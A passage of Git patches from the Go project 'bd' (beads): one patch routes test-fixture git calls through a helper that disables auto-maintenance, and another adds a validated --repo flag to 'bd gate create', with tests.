a/cmd/bd/test_wait_helper_test.go +++ b/cmd/bd/test_wait_helper_test.go @@ -2,7 +2,6 @@ package main import ( "os" - "os/exec" "path/filepath" "testing" "time" @@ -74,8 +73,8 @@ func setupGitRepo(t *testing.T) (repoPath string, cleanup func()) { _ = os.Chdir(originalWd) t.Fatalf("failed to write test file: %v", err) } - _ = exec.Command("git", "add", ".").Run() - if err := exec.Command("git", "commit", "-m", "initial").Run(); err != nil { + _ = gitCommand("add", ".").Run() + if err := gitCommand("commit", "-m", "initial").Run(); err != nil { _ = os.Chdir(originalWd) t.Fatalf("failed to create initial commit: %v", err) } @@ -120,7 +119,7 @@ func setupGitRepoWithBranch(t *testing.T, branch string) (repoPath string, clean } // Switch to requested branch if different from template default if branch != "main" { - if err := exec.Command("git", "checkout", "-b", branch).Run(); err != nil { + if err := gitCommand("checkout", "-b", branch).Run(); err != nil { _ = os.Chdir(originalWd) t.Fatalf("failed to switch to branch %s: %v", branch, err) } @@ -144,8 +143,8 @@ func setupGitRepoWithBranch(t *testing.T, branch string) (repoPath string, clean _ = os.Chdir(originalWd) t.Fatalf("failed to write test file: %v", err) } - _ = exec.Command("git", "add", ".").Run() - if err := exec.Command("git", "commit", "-m", "initial").Run(); err != nil { + _ = gitCommand("add", ".").Run() + if err := gitCommand("commit", "-m", "initial").Run(); err != nil { _ = os.Chdir(originalWd) t.Fatalf("failed to create initial commit: %v", err) } diff --git a/cmd/bd/uninstall_config_test.go b/cmd/bd/uninstall_config_test.go index e0ff497dc..7e9518845 100644 --- a/cmd/bd/uninstall_config_test.go +++ b/cmd/bd/uninstall_config_test.go @@ -57,7 +57,7 @@ func TestStandaloneHooksAbsoluteFallbackHasNoConfigAuthority(t *testing.T) { func TestUninstallHooksUnsetsBeadsRole(t *testing.T) { tmpDir := newGitRepo(t) runInDir(t, tmpDir, func() { - cmd := exec.Command("git", "config", "beads.role", "primary") + cmd := gitCommand("config", "beads.role", "primary") cmd.Dir = tmpDir if err := cmd.Run(); err != nil { t.Fatalf("failed to set beads.role: %v", err) @@ -67,7 +67,7 @@ func TestUninstallHooksUnsetsBeadsRole(t *testing.T) { t.Fatalf("uninstallHooks() failed: %v", err) } - getCmd := exec.Command("git", "config", "--local", "--get", "beads.role") + getCmd := gitCommand("config", "--local", "--get", "beads.role") getCmd.Dir = tmpDir out, err := getCmd.Output() if err == nil { @@ -96,7 +96,7 @@ func TestUninstallHooksReportsAmbiguousBeadsRole(t *testing.T) { tmpDir := newGitRepo(t) runInDir(t, tmpDir, func() { for _, value := range []string{"primary", "secondary"} { - cmd := exec.Command("git", "config", "--add", "beads.role", value) + cmd := gitCommand("config", "--add", "beads.role", value) cmd.Dir = tmpDir if err := cmd.Run(); err != nil { t.Fatalf("failed to add beads.role=%s: %v", value, err) @@ -112,7 +112,7 @@ func TestUninstallHooksReportsAmbiguousBeadsRole(t *testing.T) { } // And the key really is still set — the error was not spurious. - getCmd := exec.Command("git", "config", "--local", "--get-all", "beads.role") + getCmd := gitCommand("config", "--local", "--get-all", "beads.role") getCmd.Dir = tmpDir out, getErr := getCmd.Output() if getErr != nil { @@ -141,7 +141,7 @@ func TestResetHooksPathIfBeadsManagedReportsFailureLoudly(t *testing.T) { // There has to be something to unset, or there is no git invocation to // fail: the reset reads beads.role first and only unsets it when it is // actually present. - setCmd := exec.Command("git", "config", "beads.role", "primary") + setCmd := gitCommand("config", "beads.role", "primary") setCmd.Dir = tmpDir if err := setCmd.Run(); err != nil { t.Fatalf("failed to set beads.role: %v", err) @@ -223,7 +223,7 @@ func TestResetRolePreservesSelectedGitContext(t *testing.T) { t.Fatal(err) } query := func(dir string, args ...string) ([]byte, error) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir, cmd.Env = dir, gitenv.ScrubRouting(os.Environ()) return cmd.CombinedOutput() } @@ -268,7 +268,7 @@ func TestResetRolePreservesSelectedGitContext(t *testing.T) { t.Setenv("GIT_CONFIG_VALUE_0", "forged") case "selected_config": t.Setenv("GIT_CONFIG", filepath.Join(decoy, ".git", "config")) - probe := exec.Command("git", "--git-dir", selected, "config", "beads.routing-test", "selected-file") + probe := gitCommand("--git-dir", selected, "config", "beads.routing-test", "selected-file") probe.Dir = cwd // This fixture precondition deliberately inherits GIT_CONFIG. if out, err := probe.CombinedOutput(); err != nil { t.Fatalf("selected-file probe: %v\n%s", err, out) diff --git a/cmd/bd/user_config_path_windows_test.go b/cmd/bd/user_config_path_windows_test.go index eeb9f7d9a..8193d5ab7 100644 --- a/cmd/bd/user_config_path_windows_test.go +++ b/cmd/bd/user_config_path_windows_test.go @@ -34,13 +34,13 @@ func TestMetricsOffRejectsUnsafeUserRootsInNativeProcess(t *testing.T) { "BEADS_TEST_MODE=1", ) - gitInit := exec.Command("git", "init", "--quiet") + gitInit := gitCommand("init", "--quiet") gitInit.Dir = sentinel gitInit.Env = initEnv if out, err := gitInit.CombinedOutput(); err != nil { t.Fatalf("git init: %v\n%s", err, out) } - gitHooks := exec.Command("git", "config", "core.hooksPath", ".git/hooks") + gitHooks := gitCommand("config", "core.hooksPath", ".git/hooks") gitHooks.Dir = sentinel gitHooks.Env = initEnv if out, err := gitHooks.CombinedOutput(); err != nil { diff --git a/cmd/bd/worktree_cmd_test.go b/cmd/bd/worktree_cmd_test.go index ae2e6d4e1..c4d6d9b03 100644 --- a/cmd/bd/worktree_cmd_test.go +++ b/cmd/bd/worktree_cmd_test.go @@ -5,7 +5,6 @@ import ( "context" "fmt" "os" - "os/exec" "path/filepath" "strings" "testing" @@ -284,13 +283,13 @@ func TestEnsureCreatedWorktreeCleanRejectsDirtyWorktree(t *testing.T) { commitTestFile(t, repoRoot, "README.md", "# Test\n", "initial commit") worktreePath := filepath.Join(t.TempDir(), "dirty-worktree") - cmd := exec.Command("git", "worktree", "add", worktreePath, "HEAD") + cmd := gitCommand("worktree", "add", worktreePath, "HEAD") cmd.Dir = repoRoot if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("failed to create worktree: %v\n%s", err, output) } t.Cleanup(func() { - cmd := exec.Command("git", "worktree", "remove", "--force", worktreePath) + cmd := gitCommand("worktree", "remove", "--force", worktreePath) cmd.Dir = repoRoot _ = cmd.Run() }) @@ -366,7 +365,7 @@ func initGitRepoForGitignoreTest(t *testing.T) string { t.Helper() repoRoot := t.TempDir() - cmd := exec.Command("git", "init") + cmd := gitCommand("init") cmd.Dir = repoRoot if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("failed to init git repo: %v\n%s", err, string(output)) @@ -384,12 +383,12 @@ func commitTestFile(t *testing.T, repoRoot, relPath, content, message string) { if err := os.WriteFile(path, []byte(content), 0644); err != nil { t.Fatalf("failed to write %s: %v", relPath, err) } - cmd := exec.Command("git", "add", relPath) + cmd := gitCommand("add", relPath) cmd.Dir = repoRoot if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git add %s failed: %v\n%s", relPath, err, output) } - cmd = exec.Command("git", "commit", "-m", message) + cmd = gitCommand("commit", "-m", message) cmd.Dir = repoRoot if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git commit failed: %v\n%s", err, output) diff --git a/cmd/bd/worktree_remove_test.go b/cmd/bd/worktree_remove_test.go index b30b3c8b3..e90095f67 100644 --- a/cmd/bd/worktree_remove_test.go +++ b/cmd/bd/worktree_remove_test.go @@ -85,7 +85,7 @@ func TestWorktreeRemoveProcessHelper(t *testing.T) { } func runWorktreeRemoveHookGit(dir string, args ...string) error { - command := exec.Command("git", args...) + command := gitCommand(args...) command.Dir = dir command.Env = append(scrubWorktreeGitRoutingEnv(os.Environ()), "GIT_CONFIG_GLOBAL="+os.DevNull, "GIT_CONFIG_SYSTEM="+os.DevNull, "GIT_CONFIG_NOSYSTEM=1", "GIT_NO_REPLACE_OBJECTS=1") output, err := command.CombinedOutput() @@ -444,7 +444,7 @@ func (fixture *worktreeRemovalFixture) assertRemovedAndCleaned(t *testing.T) { } func (fixture *worktreeRemovalFixture) git(t *testing.T, directory string, args ...string) string { t.Helper() - command := exec.Command("git", args...) + command := gitCommand(args...) command.Dir = directory command.Env = append(scrubWorktreeGitRoutingEnv(os.Environ()), "GIT_CONFIG_GLOBAL="+os.DevNull, "GIT_CONFIG_SYSTEM="+os.DevNull, "GIT_CONFIG_NOSYSTEM=1", "GIT_NO_REPLACE_OBJECTS=1") output, err := command.CombinedOutput() diff --git a/cmd/bd/worktree_test.go b/cmd/bd/worktree_test.go index 01f4d9c85..8ed97b4f8 100644 --- a/cmd/bd/worktree_test.go +++ b/cmd/bd/worktree_test.go @@ -315,7 +315,7 @@ func TestWorktreeCommandsIgnoreInheritedGitRoutingState(t *testing.T) { commitTestFile(t, decoyMain, "README.md", "linked decoy\n", "decoy commit") writeTestConfigYAML(t, filepath.Join(decoyMain, ".beads"), "json: [\n") decoyLane := filepath.Join(t.TempDir(), "linked-decoy") - command := exec.Command("git", "worktree", "add", "-b", "linked-decoy", decoyLane) + command := gitCommand("worktree", "add", "-b", "linked-decoy", decoyLane) command.Dir = decoyMain if output, err := command.CombinedOutput(); err != nil { t.Fatalf("create decoy linked worktree: %v\n%s", err, output) @@ -378,7 +378,7 @@ func decodeWorktreeCommandJSON(t *testing.T, output string, target any) { func gitWorktreeRegistry(t *testing.T, repoDir string) string { t.Helper() - command := exec.Command("git", "worktree", "list", "--porcelain") + command := gitCommand("worktree", "list", "--porcelain") command.Dir = repoDir output, err := command.CombinedOutput() if err != nil { @@ -416,7 +416,7 @@ func assertGitWorktreePaths(t *testing.T, repoDir string, want ...string) { func gitRevParsePath(t *testing.T, repoDir, selector string) string { t.Helper() - command := exec.Command("git", "rev-parse", selector) + command := gitCommand("rev-parse", selector) command.Dir = repoDir output, err := command.CombinedOutput() if err != nil { @@ -439,10 +439,10 @@ func TestResolveWorktreePathByName(t *testing.T) { if err := os.WriteFile(filepath.Join(mainDir, "README.md"), []byte("# Test\n"), 0644); err != nil { t.Fatalf("Failed to create test file: %v", err) } - cmd := exec.Command("git", "add", ".") + cmd := gitCommand("add", ".") cmd.Dir = mainDir _ = cmd.Run() - cmd = exec.Command("git", "commit", "-m", "Initial commit") + cmd = gitCommand("commit", "-m", "Initial commit") cmd.Dir = mainDir if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("Failed to create initial commit: %v\n%s", err, output) @@ -456,14 +456,14 @@ func TestResolveWorktreePathByName(t *testing.T) { // Create a worktree inside .worktrees/ worktreePath := filepath.Join(worktreesDir, "test-wt") - cmd = exec.Command("git", "worktree", "add", "-b", "test-wt", worktreePath) + cmd = gitCommand("worktree", "add", "-b", "test-wt", worktreePath) cmd.Dir = mainDir if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("Failed to create worktree: %v\n%s", err, output) } defer func() { // Cleanup worktree - cmd := exec.Command("git", "worktree", "remove", worktreePath, "--force") + cmd := gitCommand("worktree", "remove", worktreePath, "--force") cmd.Dir = mainDir _ = cmd.Run() }() diff --git a/internal/formula/parser_test.go b/internal/formula/parser_test.go index 28db99269..61e241ae6 100644 --- a/internal/formula/parser_test.go +++ b/internal/formula/parser_test.go @@ -28,7 +28,7 @@ func resetFormulaSearchTestContext(t *testing.T) { func runGitForFormulaTest(t *testing.T, dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir output, err := cmd.CombinedOutput() if err != nil { @@ -160,7 +160,7 @@ func TestDefaultSearchPaths_UsesResolvedBeadsDirForWorktree(t *testing.T) { worktreeDir := filepath.Join(root, "worktree") runGitForFormulaTest(t, mainRepo, "worktree", "add", worktreeDir, "HEAD") t.Cleanup(func() { - cmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cmd := gitCommand("worktree", "remove", "--force", worktreeDir) cmd.Dir = mainRepo _ = cmd.Run() }) @@ -2287,3 +2287,14 @@ func TestParseJSON_StepMetadata(t *testing.T) { t.Errorf("Steps[0].Metadata[priority_level] = %v, want \"high\"", got) } } + +// noAutoMaintenance keeps a fixture's git commit from spawning the detached +// "git maintenance run --auto" child whose worktree-prune races the fixture's +// next "git worktree add" (gastownhall/beads#7314, #7349). Flags ride the +// command line, never env config: the routing-key scrub drops env config. +var noAutoMaintenance = []string{"-c", "maintenance.auto=false", "-c", "gc.auto=0"} + +// gitCommand builds a git command for a fixture with noAutoMaintenance applied. +func gitCommand(args ...string) *exec.Cmd { + return exec.Command("git", append(append([]string{}, noAutoMaintenance...), args...)...) +} diff --git a/internal/git/gitdir_test.go b/internal/git/gitdir_test.go index 4f0ba5210..bd5cdae84 100644 --- a/internal/git/gitdir_test.go +++ b/internal/git/gitdir_test.go @@ -17,25 +17,25 @@ func setupTestRepo(t *testing.T) (repoPath string, cleanup func()) { if err := os.MkdirAll(repoPath, 0750); err != nil { t.Fatalf("Failed to create test repo directory: %v", err) } - cmd := exec.Command("git", "init") + cmd := gitCommand("init") cmd.Dir = repoPath if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("Failed to init git repo: %v\nOutput: %s", err, string(output)) } - cmd = exec.Command("git", "config", "user.email", "test@example.com") + cmd = gitCommand("config", "user.email", "test@example.com") cmd.Dir = repoPath _ = cmd.Run() - cmd = exec.Command("git", "config", "user.name", "Test User") + cmd = gitCommand("config", "user.name", "Test User") cmd.Dir = repoPath _ = cmd.Run() beadsDir := filepath.Join(repoPath, ".beads") _ = os.MkdirAll(beadsDir, 0750) _ = os.WriteFile(filepath.Join(beadsDir, "test.jsonl"), []byte("test data\n"), 0644) _ = os.WriteFile(filepath.Join(repoPath, "other.txt"), []byte("other data\n"), 0644) - cmd = exec.Command("git", "add", ".") + cmd = gitCommand("add", ".") cmd.Dir = repoPath _ = cmd.Run() - cmd = exec.Command("git", "commit", "-m", "Initial commit") + cmd = gitCommand("commit", "-m", "Initial commit") cmd.Dir = repoPath _, _ = cmd.CombinedOutput() cleanup = func() {} @@ -220,7 +220,7 @@ func TestGetGitHooksDirTildeExpansion(t *testing.T) { ResetCaches() - cmd := exec.Command("git", "config", "core.hooksPath", tt.hooksPath) + cmd := gitCommand("config", "core.hooksPath", tt.hooksPath) cmd.Dir = subRepoPath if err := cmd.Run(); err != nil { t.Skipf("git config rejected core.hooksPath %q: %v", tt.hooksPath, err) @@ -279,7 +279,7 @@ func TestResolveHooksContext(t *testing.T) { cleanEnv := os.Environ() git := func(dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir, cmd.Env = dir, cleanEnv out, err := cmd.CombinedOutput() if err != nil { @@ -500,3 +500,14 @@ func TestResolveHooksContext(t *testing.T) { check(t, link, cleanEnv, selected, filepath.Join(canonical(selected), ".git", "hooks")) }) } + +// noAutoMaintenance keeps a fixture's git commit from spawning the detached +// "git maintenance run --auto" child whose worktree-prune races the fixture's +// next "git worktree add" (gastownhall/beads#7314, #7349). Flags ride the +// command line, never env config: the routing-key scrub drops env config. +var noAutoMaintenance = []string{"-c", "maintenance.auto=false", "-c", "gc.auto=0"} + +// gitCommand builds a git command for a fixture with noAutoMaintenance applied. +func gitCommand(args ...string) *exec.Cmd { + return exec.Command("git", append(append([]string{}, noAutoMaintenance...), args...)...) +} diff --git a/internal/storage/domain/git/git_test.go b/internal/storage/domain/git/git_test.go index 8c368ec53..e3d30fe96 100644 --- a/internal/storage/domain/git/git_test.go +++ b/internal/storage/domain/git/git_test.go @@ -348,7 +348,7 @@ func TestRoleConfigIgnoresInheritedGitRouting(t *testing.T) { } runGit := func(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir, cmd.Env = dir, gitenv.ScrubRouting(os.Environ()) out, err := cmd.CombinedOutput() require.NoError(t, err, "fixture git %v: %s", args, out) @@ -441,7 +441,7 @@ func TestRoleConfigKeySpellingTakesScrubbedPath(t *testing.T) { } runGit := func(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir, cmd.Env = dir, gitenv.ScrubRouting(os.Environ()) out, err := cmd.CombinedOutput() require.NoError(t, err, "fixture git %v: %s", args, out) @@ -487,7 +487,7 @@ func TestInitGitRepositoryUsesSelectedDirectory(t *testing.T) { } runGit := func(dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir, cmd.Env = dir, gitenv.ScrubRouting(os.Environ()) out, err := cmd.CombinedOutput() require.NoError(t, err, "fixture git %v: %s", args, out) @@ -600,7 +600,7 @@ func TestInitGitRepositoryRoleIgnoresInheritedConfigSuppression(t *testing.T) { require.NoError(t, os.WriteFile(filepath.Join(home, ".gitconfig"), []byte("[beads]\n\trole = contributor\n"), 0600)) // No local role in the target: the global file is the only place the answer // can come from, so blinding it is visible as a miss. - initCmd := exec.Command("git", "init", "--quiet") + initCmd := gitCommand("init", "--quiet") initCmd.Dir, initCmd.Env = target, gitenv.ScrubRouting(os.Environ()) out, err := initCmd.CombinedOutput() require.NoError(t, err, "fixture git init: %s", out) @@ -625,3 +625,14 @@ func TestInitGitRepositoryRoleIgnoresInheritedConfigSuppression(t *testing.T) { }) } } + +// noAutoMaintenance keeps a fixture's git commit from spawning the detached +// "git maintenance run --auto" child whose worktree-prune races the fixture's +// next "git worktree add" (gastownhall/beads#7314, #7349). Flags ride the +// command line, never env config: the routing-key scrub drops env config. +var noAutoMaintenance = []string{"-c", "maintenance.auto=false", "-c", "gc.auto=0"} + +// gitCommand builds a git command for a fixture with noAutoMaintenance applied. +func gitCommand(args ...string) *exec.Cmd { + return exec.Command("git", append(append([]string{}, noAutoMaintenance...), args...)...) +} From b485a0975edf0f9e47854ecfce4f0143349d798d Mon Sep 17 00:00:00 2001 From: Bee Date: Thu, 8 Oct 2026 08:02:46 +0000 Subject: [PATCH 056/213] feat(gate): bd gate create --repo names the repository a gh:run/gh:pr gate is checked in (#7176) * feat(gate): bd gate create --repo names the repository a gh:run/gh:pr gate is checked in A gh:pr gate for a PR in another repository could only be pointed there through the blocked issue's metadata.repo; with none, `bd gate check` resolved the bare number against the current repository and escalated "pull request not found" on every check, with nothing in the text saying which repository it had looked in. Five gates armed that way on 2026-10-03 never released after their PRs merged. - `--repo OWNER/REPO` (or HOST/OWNER/REPO) on `bd gate create`: an explicit value wins over the inherited one; it goes through the same validator as metadata.repo (now `validateGitHubRepo`, split out of `githubRepoFromIssue`); it is refused on human/timer/bead gates, where nothing would read it. Both create routes call one helper, `gateMetadataForCreate`, so the flag cannot drift between them. - The gh:pr not-found escalation reason names the repository the number was resolved against ("pull request not found: #42 in owner/repo" or "... in the current repository"). - Help text, docs/workflows/gates.md and the plugin's ASYNC_GATES.md say when the flag is needed. docs/cli-reference is pinned to the release and regenerates on its own. Tests: TestGateMetadataForCreateExplicitRepo, TestCheckGHPRNotFoundNamesTheRepository (unit); TestEmbeddedGateCreate/create_gate_with_repo + /repo_flag_on_human_gate_is_refused (embedded); TestProxiedServerGateCreateInheritsRepoMetadata/explicit_repo_flag_wins_over_inherited (proxied). Refs ghosttrack/wyvern wy-2jh4v5. Co-Authored-By: Claude Fable 5.1 * fix(gate): keep the create --repo workspace bypass off bd gate create The root pre-run bypass for `bd create --repo` (GH#3686) matched the leaf name "create", so `bd gate create --repo` outside a workspace took it: an OWNER/REPO slug opened a stray ./OWNER/REPO/.beads workspace under the cwd and failed with "issue not found", and an https:// URL skipped store wiring and panicked on the nil store. Key the bypass on the command path, as proxy_capability.go already does; gate create now fails with "no beads database found" outside a workspace like every other command, and top-level create --repo (local path and remote URL) still takes the bypass. Also name the repository in the gh:run not-found escalation, as the gh:pr one already does. Only stderr with a lowercase "not found" reaches that arm: real gh reports a missing run as "HTTP 404: Not Found ()", which takes the existing error path, and that URL already names the repository. The match stays case-sensitive because a token without access to the repository gets the same 404. Tests: TestEmbeddedCreateRepoFromNonBeadsCwd/gate_create_repo_flag_is_not_a_workspace (slug and URL forms, built binary run from an empty cwd) and the cross_repo/current_repo subtests of TestCheckGHRunNotFoundNamesTheRepository fail with the fixes reverted. Its real_gh_404_names_the_repository subtest feeds gh's real 404 stderr and fails if the match is widened. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Eddie the Engineer --- .../create_repo_no_cwd_beads_embedded_test.go | 35 ++++ cmd/bd/gate.go | 71 ++++++- cmd/bd/gate_embedded_test.go | 43 ++++ ...gate_lifecycle_proxied_integration_test.go | 20 ++ cmd/bd/gate_proxied_server.go | 4 +- cmd/bd/gate_test.go | 188 ++++++++++++++++++ cmd/bd/main.go | 7 +- docs/workflows/gates.md | 19 +- .../skills/beads/resources/ASYNC_GATES.md | 1 + 9 files changed, 375 insertions(+), 13 deletions(-) diff --git a/cmd/bd/create_repo_no_cwd_beads_embedded_test.go b/cmd/bd/create_repo_no_cwd_beads_embedded_test.go index 48fc863c9..2bb93e484 100644 --- a/cmd/bd/create_repo_no_cwd_beads_embedded_test.go +++ b/cmd/bd/create_repo_no_cwd_beads_embedded_test.go @@ -4,6 +4,7 @@ package main import ( "os" + "os/exec" "strings" "testing" ) @@ -65,4 +66,38 @@ func TestEmbeddedCreateRepoFromNonBeadsCwd(t *testing.T) { t.Errorf("expected 'no beads database found' error, got:\n%s", out) } }) + + t.Run("gate_create_repo_flag_is_not_a_workspace", func(t *testing.T) { + // The --repo bypass is for top-level create only. `bd gate create + // --repo` names the GitHub repository a gh:run/gh:pr gate is checked + // in, so outside a workspace it must fail like any other command. + // While the bypass matched the leaf name "create", the slug form + // opened a stray ./owner/repo/.beads workspace under the cwd and the + // URL form panicked on the nil store. + for _, tc := range []struct{ name, repo string }{ + {"slug", "owner/repo"}, + {"url", "https://github.com/owner/repo"}, + } { + t.Run(tc.name, func(t *testing.T) { + noBeadsCwd := t.TempDir() + cmd := exec.Command(bd, "gate", "create", "--type=gh:pr", "--blocks", "bd-abc", "--await-id=42", "--repo", tc.repo) + cmd.Dir = noBeadsCwd + cmd.Env = bdEnv(t.TempDir()) + out, err := cmd.CombinedOutput() + if err == nil { + t.Fatalf("bd gate create --repo %s succeeded outside a workspace:\n%s", tc.repo, out) + } + if !strings.Contains(string(out), "no beads database found") || strings.Contains(string(out), "panic") { + t.Errorf("expected 'no beads database found' error, got:\n%s", out) + } + entries, readErr := os.ReadDir(noBeadsCwd) + if readErr != nil { + t.Fatal(readErr) + } + if len(entries) != 0 { + t.Errorf("bd gate create wrote into the cwd: %d entries, first %q", len(entries), entries[0].Name()) + } + }) + } + }) } diff --git a/cmd/bd/gate.go b/cmd/bd/gate.go index cd546de93..f7c429d08 100644 --- a/cmd/bd/gate.go +++ b/cmd/bd/gate.go @@ -309,11 +309,15 @@ Gate types: gh:run - Waits for GitHub Actions workflow gh:pr - Waits for PR merge +gh:run and gh:pr gates are checked in the current Git repository unless +--repo names another, or the blocked issue carries a metadata.repo value. + Examples: bd gate create --blocks bd-abc bd gate create --type=human --blocks bd-abc --reason="Need design review" bd gate create --type=timer --blocks bd-abc --timeout=2h bd gate create --type=gh:pr --blocks bd-abc --await-id=42 + bd gate create --type=gh:pr --blocks bd-abc --await-id=42 --repo=owner/other-repo bd gate create --blocks bd-abc --title="Gate: awaiting owner sign-off"`, SilenceUsage: true, SilenceErrors: true, @@ -343,9 +347,9 @@ Examples: } gate := buildGateIssue(in, targetIssue.ID) - metadata, metaErr := repoMetadataForGate(in.gateType, targetIssue) + metadata, metaErr := gateMetadataForCreate(in, targetIssue) if metaErr != nil { - return HandleErrorRespectJSON("invalid GitHub repository metadata on %s: %v", targetIssue.ID, metaErr) + return HandleErrorRespectJSON("%v", metaErr) } gate.Metadata = metadata @@ -383,6 +387,7 @@ type gateCreateInput struct { gateType string reason string awaitID string + repo string titleFlag string timeout time.Duration } @@ -393,6 +398,7 @@ func gatherGateCreateInput(cmd *cobra.Command) (gateCreateInput, error) { in.gateType, _ = cmd.Flags().GetString("type") in.reason, _ = cmd.Flags().GetString("reason") in.awaitID, _ = cmd.Flags().GetString("await-id") + in.repo, _ = cmd.Flags().GetString("repo") in.titleFlag, _ = cmd.Flags().GetString("title") timeoutStr, _ := cmd.Flags().GetString("timeout") if timeoutStr != "" { @@ -891,6 +897,14 @@ func githubRepoFromIssue(issue *types.Issue) (string, error) { return "", nil } + return validateGitHubRepo(repo) +} + +// validateGitHubRepo accepts an OWNER/REPO or HOST/OWNER/REPO selector made of +// the characters GitHub allows in those path components, and nothing else: +// the value is passed to `gh --repo`, so a stray shell or URL character is +// rejected here rather than reaching a subprocess argument. +func validateGitHubRepo(repo string) (string, error) { parts := strings.Split(repo, "/") if len(parts) != 2 && len(parts) != 3 { return "", fmt.Errorf("repo %q must use OWNER/REPO or HOST/OWNER/REPO", repo) @@ -944,6 +958,38 @@ func repoMetadataForGate(gateType string, targetIssue *types.Issue) (json.RawMes return metadata, nil } +// gateMetadataForCreate computes the metadata for a new ad-hoc gate from the +// parsed flags: an explicit --repo wins, otherwise the gate inherits the +// blocked issue's validated metadata.repo (repoMetadataForGate). Both create +// routes call this so the flag cannot drift between them. +// +// --repo is only meaningful on gh:* gates, whose check runs against a GitHub +// repository; on any other type it is refused rather than stored, because a +// repo selector nothing reads would look like a working cross-repo gate. +// Errors are fully worded here (they name the flag or the blocked issue) so +// the callers print them as-is. +func gateMetadataForCreate(in gateCreateInput, targetIssue *types.Issue) (json.RawMessage, error) { + if in.repo == "" { + metadata, err := repoMetadataForGate(in.gateType, targetIssue) + if err != nil { + return nil, fmt.Errorf("invalid GitHub repository metadata on %s: %w", targetIssue.ID, err) + } + return metadata, nil + } + if !isGitHubGateType(in.gateType) { + return nil, fmt.Errorf("--repo applies only to gh:run and gh:pr gates, not %q", in.gateType) + } + repo, err := validateGitHubRepo(in.repo) + if err != nil { + return nil, fmt.Errorf("--repo: %w", err) + } + metadata, err := json.Marshal(map[string]string{"repo": repo}) + if err != nil { + return nil, err + } + return metadata, nil +} + // queryGitHubRunsForWorkflow queries recent runs for a specific workflow using gh CLI. // Returns runs sorted newest-first (GitHub API default). func queryGitHubRunsForWorkflow(workflow string, limit int) ([]GHWorkflowRun, error) { @@ -1085,7 +1131,16 @@ func checkGHRunStatusInRepoWithRunner(runID, repo string, runGH ghCommandRunner) } // Check if run not found if strings.Contains(string(stderr), "not found") { - return false, true, "workflow run not found", nil + // Name the repository, as checkGHPRWithRunner does. Real gh + // reports a missing run as "HTTP 404: Not Found ()", + // which this case-sensitive match skips: that returns the error + // below, whose URL names the repository. Keep the match narrow; a + // token without access to the repository gets the same 404. + where := "the current repository" + if repo != "" { + where = repo + } + return false, true, fmt.Sprintf("workflow run not found: %s in %s", runID, where), nil } return false, false, "", fmt.Errorf("gh run view failed: %s", string(stderr)) } @@ -1146,7 +1201,14 @@ func checkGHPRWithRunner(gate *types.Issue, runGH ghCommandRunner) (resolved, es } // Check if PR not found if strings.Contains(string(stderr), "not found") || strings.Contains(string(stderr), "Could not resolve") { - return false, true, "pull request not found", nil + // Name the repository the number was resolved against: a gate + // armed for another repository without metadata.repo escalates + // here on every check, and the bare text never said why. + where := "the current repository" + if repo != "" { + where = repo + } + return false, true, fmt.Sprintf("pull request not found: #%s in %s", gate.AwaitID, where), nil } return false, false, "", fmt.Errorf("gh pr view failed: %s", string(stderr)) } @@ -1299,6 +1361,7 @@ func init() { gateCreateCmd.Flags().StringP("type", "t", "human", "Gate type (human, timer, gh:run, gh:pr)") gateCreateCmd.Flags().StringP("reason", "r", "", "Reason for the gate") gateCreateCmd.Flags().String("await-id", "", "Condition identifier (run ID, PR number, etc.)") + gateCreateCmd.Flags().String("repo", "", "GitHub repository the gh:run/gh:pr condition is checked in (OWNER/REPO or HOST/OWNER/REPO); default: the blocked issue's metadata.repo, else the current repository") gateCreateCmd.Flags().String("timeout", "", "Timeout duration (e.g., 2h, 30m)") gateCreateCmd.Flags().String("title", "", "Custom gate title (default: \"Gate: \")") _ = gateCreateCmd.MarkFlagRequired("blocks") diff --git a/cmd/bd/gate_embedded_test.go b/cmd/bd/gate_embedded_test.go index 107a4ff0e..27f58216f 100644 --- a/cmd/bd/gate_embedded_test.go +++ b/cmd/bd/gate_embedded_test.go @@ -468,6 +468,49 @@ func TestEmbeddedGateCreate(t *testing.T) { } }) + t.Run("create_gate_with_repo", func(t *testing.T) { + task := bdCreate(t, bd, dir, "Task for cross-repo PR gate", "--type", "task") + + cmd := exec.Command(bd, "gate", "create", "--blocks", task.ID, + "--type", "gh:pr", "--await-id", "7173", "--repo", "gastownhall/beads", "--json") + cmd.Dir = dir + cmd.Env = bdEnv(dir) + stdout, stderr, err := runCommandBuffers(t, cmd) + if err != nil { + t.Fatalf("bd gate create --repo failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String()) + } + + var gate types.Issue + s := strings.TrimSpace(stdout.String()) + start := strings.Index(s, "{") + if err := json.Unmarshal([]byte(s[start:]), &gate); err != nil { + t.Fatalf("parse gate JSON: %v\n%s", err, s) + } + var m map[string]string + if err := json.Unmarshal(gate.Metadata, &m); err != nil { + t.Fatalf("gate metadata %s is not a string map: %v", gate.Metadata, err) + } + if m["repo"] != "gastownhall/beads" { + t.Errorf("gate metadata repo = %q, want gastownhall/beads", m["repo"]) + } + }) + + t.Run("repo_flag_on_human_gate_is_refused", func(t *testing.T) { + task := bdCreate(t, bd, dir, "Task for human gate", "--type", "task") + + cmd := exec.Command(bd, "gate", "create", "--blocks", task.ID, + "--type", "human", "--repo", "gastownhall/beads") + cmd.Dir = dir + cmd.Env = bdEnv(dir) + stdout, stderr, err := runCommandBuffers(t, cmd) + if err == nil { + t.Fatalf("--repo on a human gate must be refused; 